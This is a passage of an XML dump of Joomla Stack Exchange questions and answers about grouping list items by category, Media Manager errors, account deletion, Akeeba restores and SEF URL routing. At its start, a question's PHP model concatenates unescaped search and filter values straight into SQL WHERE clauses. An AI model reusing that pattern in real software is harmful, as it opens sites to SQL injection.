$query-&amp;gt;where('( a.title LIKE '.$search.' )');&#xA;            }&#xA;        }&#xA;&#xA;&#xA;&#xA;        //Filtering category&#xA;        $filter_category = $this-&amp;gt;state-&amp;gt;get(&quot;filter.category&quot;);&#xA;        if ($filter_category) {&#xA;            $query-&amp;gt;where(&quot;a.category = '&quot;.$filter_category.&quot;'&quot;);&#xA;        }&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;    public function getItems() {&#xA;        return parent::getItems();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay Now the actual question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I return data in a format like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Category 1 (and the alternative layout param)&#xA; - Item in Category 1&#xA; - Item in Category 1&#xA; - Item in Category 1&#xA;&#xA;Category 2 (and the alternative layout param)&#xA; - Item in Category 2&#xA; - Item in Category 2&#xA; - Item in Category 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I apologize its not in the scope or if its to heavy of a question, If it is just drop a comment and ill remove, otherwise please let me know if any other information is required.&lt;/p&gt;&#xA;" OwnerDisplayName="user404" LastActivityDate="2015-06-09T06:18:29.780" Title="JModelList Group by Category" Tags="|development|mvc|database|model|joomla-3.3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="967" PostTypeId="1" AcceptedAnswerId="970" CreationDate="2014-05-22T14:56:35.977" Score="3" ViewCount="274" Body="&lt;p&gt;I recently moved a website to a different host and encountered problems with the Media Manager.  I'm running Joomla 3.3 and when I click on the Media Manager icon in the control panel I get the following 500 error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;View not found [name, type, prefix]: media, html, mediaView&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this something I can debug myself or am I destined for a long wait with my host's customer service department?&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="52" LastEditDate="2014-05-30T20:58:50.553" LastActivityDate="2014-05-30T20:58:50.553" Title="Correcting problems with Media Manager" Tags="|migration|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="968" PostTypeId="2" ParentId="957" CreationDate="2014-05-22T14:58:03.923" Score="2" Body="&lt;p&gt;Have a look also to Nonumbers Extensions: &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt; and &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedtemplatemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Template Manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They provide many handy tools where you can customize the way sections of your website will behave.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;#Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To extend a bit my initial answer, If I would look for accuracy inside the intranet, I wouldn't count on the IP's. Probably the intranet would require some kind of login for the users, so I would use profiles and categories/groupings. Then I would configure the &quot;CMS behavior&quot; based on that users data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, you definitely can build an intranet with Joomla.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-09-23T10:41:33.713" LastActivityDate="2015-09-23T10:41:33.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="969" PostTypeId="2" ParentId="964" CreationDate="2014-05-22T14:59:54.803" Score="4" Body="&lt;p&gt;It doesn't necessarily mean someone has tried to login into the backend. Simply means someone has tried to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login to the frontend &lt;strong&gt;or&lt;/strong&gt; backend&lt;/li&gt;&#xA;&lt;li&gt;On the 3rd April 2014&lt;/li&gt;&#xA;&lt;li&gt;At 10:35pm&lt;/li&gt;&#xA;&lt;li&gt;From this IP address: &lt;em&gt;2.61.174.50&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you login to your server control panel (if you have one), you can check the raw logs. If you filter by the IP address given, and find a result, it will show you the URL they tried to access.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-22T14:59:54.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="970" PostTypeId="2" ParentId="967" CreationDate="2014-05-22T15:24:03.370" Score="3" Body="&lt;p&gt;A few troubleshooting questions to think:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does your new hosting meet the system requirements for Joomla 3.3 ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you sure this was not a problem before you move ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Did you do the move at your own ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to restore again the website on another directory - or on your computer and see if the issue persists.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible that you had file overrides or core files patched by a programmer, and then some of these get lost or doesn't work bacause of a Joomla update ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or did you recently updated your website and have any outdated extensions ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you installed any new non-compatible extensions ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check for any possible file permission issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to replace the Joomla core files from a clean 3.3 installation...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-05-22T15:24:03.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="971" PostTypeId="2" ParentId="962" CreationDate="2014-05-22T15:26:47.790" Score="3" Body="&lt;p&gt;You can quite easily override how the core pages are displayed using your templates folder.  See &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the output from the Joomla! core&lt;/a&gt; for details.   In short, you make a copy of the core form in your template/html folder and modify that copy to your liking.  If Joomla finds the form there, it will use that one instead of the installed version.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-05-22T15:26:47.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="972" PostTypeId="1" AcceptedAnswerId="973" CreationDate="2014-05-22T15:32:14.173" Score="20" ViewCount="2870" Body="&lt;p&gt;How can i let my registered users delete their own account from the front-end? &lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="19" LastEditDate="2014-05-22T16:08:57.063" LastActivityDate="2019-07-05T07:33:55.813" Title="How to let users delete their account from the frontend?" Tags="|joomla-3.x|user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="973" PostTypeId="2" ParentId="972" CreationDate="2014-05-22T15:40:33.943" Score="14" Body="&lt;p&gt;Take a look at this extension called &lt;strong&gt;Delete My Account&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/clients-a-communities/user-management/26011&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/clients-a-communities/user-management/26011&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows users to delete their own account via the frontend. There is also a feature where it notifies all admins if a user has deleted their account. Looks like a promising extension and exactly what you need. Compatible with Joomla 2.5 and 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just tested this plugin on my localhost and it works perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the plugin&lt;/li&gt;&#xA;&lt;li&gt;Enable it and in the options, set &lt;strong&gt;Action to be taken&lt;/strong&gt; to &lt;strong&gt;delete&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;You then need to place a link with with a specific class. You can place this link literally anywhere you want. I decided to put it in an article, simply to test. So add the following somewhere on your site: &lt;code&gt;&amp;lt;a href=&quot;#&quot; class=&quot;f90-delete-my-account&quot;&amp;gt;Delete my account&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;When you click on this link in the frontend, it should load a modal box asking you to confirm that you want to delete your account. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-07-05T07:33:55.813" LastActivityDate="2019-07-05T07:33:55.813" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="974" PostTypeId="5" CreationDate="2014-05-22T17:22:23.120" Score="0" Body="&lt;p&gt;For questions regarding version 1.5 of the Joomla Content Management System. Please note that Joomla 1.5 is no longer officially supported and it's recommended you migrate to Joomla 3.x&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-11T09:55:57.590" LastActivityDate="2015-02-11T09:55:57.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="975" PostTypeId="4" CreationDate="2014-05-22T17:22:23.120" Score="0" Body="For questions regarding version 1.5 of the Joomla Content Management System. Please note that Joomla 1.5 is no longer officially supported and it's recommended you migrate to Joomla 3.x" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-11T09:55:57.590" LastActivityDate="2015-02-11T09:55:57.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="976" PostTypeId="5" CreationDate="2014-05-22T17:25:40.393" Score="0" Body="&lt;h2&gt;Joomla 2.5&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 2.5&lt;/strong&gt; was released on January 24, 2012, six months after 1.7.0. This version is a long term support (LTS) release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note this version of Joomla is no longer supported and is recommended you migrate to Joomla 3.x&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-21T15:20:29.787" LastActivityDate="2015-08-21T15:20:29.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="977" PostTypeId="4" CreationDate="2014-05-22T17:25:40.393" Score="0" Body="For questions regarding version 2.5 of the Joomla Content Management System. This version is part of the LTS (Long Term Support). Please note this version of Joomla is no longer supported and is recommended you migrate to Joomla 3.x" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-11T09:57:04.397" LastActivityDate="2015-02-11T09:57:04.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="978" PostTypeId="5" CreationDate="2014-05-22T17:27:57.637" Score="0" Body="&lt;h2&gt;Joomla 3.x&lt;/h2&gt;&#xA;For question regarding Joomla 3.x of the Content Management System. This includes versions 3.0 up to 3.10. &#xA;&lt;p&gt;&lt;strong&gt;Joomla 3.x&lt;/strong&gt; is a STS (Short Term Support) version. Support ends one month after the next release of Joomla is released. One click upgrades to the next STS or LTS version is possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Both STS and LTS releases, once they have reached the GA (General Availability) status, are fully functional and ready to be used in production environment. The disadvantage of using STS releases is that you will need to update your installation of Joomla more often, while the advantage is that you will have access to new features and extensions earlier.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;History&lt;/h3&gt;&#xA;&lt;p&gt;Joomla 3.0 was released on September 27, 2012. Originally, it was supposed to be released in July 2012; however, the January/July release schedule was uncomfortable for volunteers, and the schedule was changed to September/March releases &lt;a href=&quot;http://groups.google.com/group/joomla-dev-cms/browse_thread/thread/fd42ad8752150735&quot; rel=&quot;nofollow noreferrer&quot;&gt;(1)&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Important changes&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Responsive by default.&lt;/strong&gt; The default templates (Front-end: Protostar, Back-end: Isis) are fully responsive, and Joomla was the first major CMS to achieve this.&#xA;Twitter Bootstrap integration&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;jQuery&lt;/strong&gt;. As of Joomla 3, jQuery is the default javascript framework. Mootools is still available, but deprecated, and might be removed in future versions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;New admin interface.&lt;/strong&gt; Big overhaul of admin interface to improve usability&#xA;PostgreSQL support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Getting Joomla&lt;/h3&gt;&#xA;&lt;p&gt;The latest version of Joomla can be downloaded from &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.joomla.org/download.html&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Installation&lt;/h3&gt;&#xA;&lt;p&gt;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="14062" LastEditDate="2022-10-03T10:49:44.213" LastActivityDate="2022-10-03T10:49:44.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="979" PostTypeId="4" CreationDate="2014-05-22T17:27:57.637" Score="0" Body="For question regarding Joomla 3.x of the Content Management System. This includes versions 3.0 up to 3.10." OwnerUserId="168" LastEditorUserId="14062" LastEditDate="2022-10-03T10:49:05.367" LastActivityDate="2022-10-03T10:49:05.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="980" PostTypeId="1" AcceptedAnswerId="982" CreationDate="2014-05-22T17:50:01.580" Score="2" ViewCount="1345" Body="&lt;p&gt;I'm using Akeeba to backup my database (database only, I'm not backing up files). I haven't been able to find a way to restore only the database using the admin. Is there a way to do it?&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-05-23T15:20:49.150" Title="Is there a way to restore an Akeeba database backup through the admin?" Tags="|joomla-3.x|akeebabackup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="981" PostTypeId="2" ParentId="957" CreationDate="2014-05-22T17:55:51.007" Score="1" Body="&lt;p&gt;For an Intranet project, seems rather strange that you want to associate users with a specific IP range. What if that changes? Don't you have any other characteristics you can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about authenticating the users? Single Signon using perhaps LDAP (which is available as a plugin), why not use the build in ACL system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are truly guests with no name, no face, I can imagine the following architecture:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;create a guest account with basically no permissions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;authenticate any guest in the background via an authentication plugin. In the authentication plugin you can check the IP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;create a view level / access group for that guest user and use the ACL to assign menu items and content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even if you don't authenticate users, I would still look into a solution based on the Joomla ACL.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-17T20:59:14.603" LastActivityDate="2014-11-17T20:59:14.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="982" PostTypeId="2" ParentId="980" CreationDate="2014-05-22T18:03:07.087" Score="5" Body="&lt;p&gt;Unfortunately it isn't possible to restore a backup of the database (.sql file) using Akeeba Backups itself. To restore the database, you must import it using PhpMyAdmin or a similar tool. If you do not have access to PhpMyAdmin on your server then an alternative would be using this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ozerov.de/bigdump/&quot; rel=&quot;noreferrer&quot;&gt;http://www.ozerov.de/bigdump/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or a Backup and Restore extension for Joomla:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665&quot; rel=&quot;noreferrer&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-22T18:03:07.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="983" PostTypeId="2" ParentId="945" CreationDate="2014-05-22T19:27:09.190" Score="4" Body="&lt;p&gt;Your work will be far better evidence of your skills than a certificate. Anyone can buy a certificate saying they can do anything at all, making them worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practice your skills by making sites, learning from what you see on the web and make something epic. I'd put money on the fact that none of the superstar web designers in the world today have a certificate even vaguely related to web design.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-05-22T19:27:09.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="984" PostTypeId="1" CreationDate="2014-05-22T20:48:42.747" Score="7" ViewCount="1672" Body="&lt;p&gt;The instructions and links in &lt;a href=&quot;https://joomla.stackexchange.com/a/697/79&quot;&gt;this answer&lt;/a&gt; clearly demonstrated how to make search engine friendly URLs.  However the URLs I currently see on my website have the format:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;mydomain.com/1-category/2-title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I would like the URLS to be&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;mydomain.com/category/title&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this possible/safe to do?  I am using shared hosting and apache. &lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-30T12:33:16.047" Title="Removing category/article numbers in SEF" Tags="|joomla-3.3.x|sef|apache|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="986" PostTypeId="2" ParentId="984" CreationDate="2014-05-23T02:14:54.617" Score="6" Body="&lt;p&gt;With the core routing system, there isn't a practical way to accomplish it.  You can use a tool like &lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/sef/10134&quot;&gt;sh404SEF&lt;/a&gt; to achieve this though.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-23T02:14:54.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="987" PostTypeId="2" ParentId="966" CreationDate="2014-05-23T08:31:32.443" Score="2" Body="&lt;p&gt;I do not know if this is possible using SQL, but you can get such result using PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$byCategory = array();&#xA;&#xA;foreach ($items as $item)&#xA;{&#xA;    if (empty($byCategory[$item-&amp;gt;category_title]))&#xA;    {&#xA;            $byCategory[$item-&amp;gt;category_title] = array();&#xA;    }&#xA;    $byCategory[$item-&amp;gt;category_title][] = $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$byCategory&lt;/code&gt; array will have the data sorted as you have described:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [Category 1] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 1&#xA;                )&#xA;&#xA;            [1] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 1&#xA;                )&#xA;&#xA;            [2] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 1&#xA;                )&#xA;        )&#xA;&#xA;    [Category 2] =&amp;gt; Array&#xA;        (&#xA;            [0] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 2&#xA;                )&#xA;&#xA;            [1] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 2&#xA;                )&#xA;&#xA;            [2] =&amp;gt; stdClass Object&#xA;                (&#xA;                    Item in Category 2&#xA;                )&#xA;        )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastEditorUserId="75" LastEditDate="2014-05-24T06:12:24.357" LastActivityDate="2014-05-24T06:12:24.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="988" PostTypeId="1" AcceptedAnswerId="989" CreationDate="2014-05-23T08:59:43.547" Score="10" ViewCount="13789" Body="&lt;p&gt;I am trying to remove the article id from a Joomla 3 URL. I searched around and the response is in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components\com_content\router.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; in &lt;code&gt;$advanced = $params-&amp;gt;get('sef_advanced_link', 1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on lines &lt;em&gt;38&lt;/em&gt; and &lt;em&gt;290&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also commented out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($segments[0], ':') === false) {&#xA;    $vars['view'] = 'article';&#xA;    $vars['id'] = (int)$segments[0];&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I consider it works fine in Joomla 2.5 as all comments mention this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does not do the job for me on my Joomla 3.3 website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this without creating menu items for each article?&lt;/p&gt;&#xA;" OwnerUserId="401" LastEditorUserId="168" LastEditDate="2014-05-23T09:05:46.793" LastActivityDate="2017-01-23T10:43:50.530" Title="Remove Article ID from Joomla 3 url" Tags="|joomla-3.x|php|url|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="989" PostTypeId="2" ParentId="988" CreationDate="2014-05-23T12:32:12.440" Score="11" Body="&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit “components/com_content/router.php“, then continue on step 2.&lt;br&gt;&#xA;&lt;strong&gt;(You’ll probably have to re-do this step every time you update Joomla.)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There are two places need to do this change, one near the top, one in the middle)&#xA;Replace this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$advanced = $params-&amp;gt;get('sef_advanced_link', 0);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$advanced = $params-&amp;gt;get('sef_advanced_link', 1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName(‘alias’) . ‘ = ‘ . $db-&amp;gt;quote($db-&amp;gt;quote($segment)));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-&amp;gt;where($db-&amp;gt;quoteName(‘alias’) . ‘ = ‘ . $db-&amp;gt;quote($segment));&lt;/code&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you're done.&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2014-05-23T17:10:14.300" LastActivityDate="2014-05-23T17:10:14.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="990" PostTypeId="2" ParentId="980" CreationDate="2014-05-23T15:20:49.150" Score="1" Body="&lt;p&gt;If you use Akeeba Backup &lt;em&gt;Pro&lt;/em&gt; then this is probably the solution:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Akeeba Backup Pro&lt;/li&gt;&#xA;&lt;li&gt;Go to Profiles Managment&lt;/li&gt;&#xA;&lt;li&gt;Click on New and use the Profile name e.g. MySQL Restoration&lt;/li&gt;&#xA;&lt;li&gt;Now go Back to the Akeeba Backup Pro Control Panel&lt;/li&gt;&#xA;&lt;li&gt;Switch you Profile to &quot;MySQL Restoration&quot;&lt;/li&gt;&#xA;&lt;li&gt;Then click on &quot;Files and Directories Exclusion&quot;&lt;/li&gt;&#xA;&lt;li&gt;Exclude now every File and Directory beside the index.php file&lt;/li&gt;&#xA;&lt;li&gt;Now make a Backup with this new Profile&lt;/li&gt;&#xA;&lt;li&gt;Then go &quot;Manage Backups&quot; and choose last Backup and click on restore&lt;/li&gt;&#xA;&lt;li&gt;Now follow instructions&lt;/li&gt;&#xA;&lt;li&gt;Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-23T15:20:49.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="991" PostTypeId="1" AcceptedAnswerId="2504" CreationDate="2014-05-23T15:43:48.263" Score="7" ViewCount="4064" Body="&lt;p&gt;I develop my own template for Joomla and i need to display more options if you set a value before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRAy5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;after clicking on YES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TULa2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if in the joomla core a solution like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;field1&quot; type=&quot;radio&quot; class=&quot;btn-group&quot; default=&quot;0&quot; label=&quot;Deactivate Joomla JavaScript&quot; &amp;gt;&#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot;&amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;field2&quot; type=&quot;checkboxes&quot; class=&quot;btn-group&quot; default=&quot;0&quot; label=&quot;Deactivate Joomla JavaScript&quot; showif=&quot;field1::1&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;Everything&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot;&amp;gt;mootools-core.js&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;2&quot;&amp;gt;mootools-more.js&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A new showif parameter with the value &lt;strong&gt;field1::1&lt;/strong&gt; . &lt;strong&gt;field1&lt;/strong&gt; is the previous field and number &lt;strong&gt;1&lt;/strong&gt; is for value from the needed option to display this form field.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="155" LastEditDate="2014-05-25T10:33:16.257" LastActivityDate="2014-07-05T19:07:45.283" Title="Displaying a Form Field Depending on Previous Question" Tags="|joomla-3.x|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="992" PostTypeId="1" AcceptedAnswerId="994" CreationDate="2014-05-23T17:03:13.880" Score="4" ViewCount="223" Body="&lt;p&gt;I have enabled some optional profile fields for the registered users of my website (using the &lt;strong&gt;User-Profile plugin&lt;/strong&gt;), What are the Joomla variable which will return the value of these fields? &lt;br&gt;&#xA;I mean, if we want to display the name of the logged in user, we use &lt;code&gt;$user-&amp;gt;username&lt;/code&gt;variable.&lt;br&gt;&#xA;I want to display the following optional fields : &lt;br&gt;&#xA;&lt;strong&gt;City&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;Country&lt;/strong&gt; &lt;br&gt;&#xA;&lt;strong&gt;Website&lt;/strong&gt; &lt;br&gt;&#xA;&lt;strong&gt;About Me&lt;/strong&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which variables will return the value of these optional fields?&lt;/p&gt;&#xA;" OwnerUserId="383" 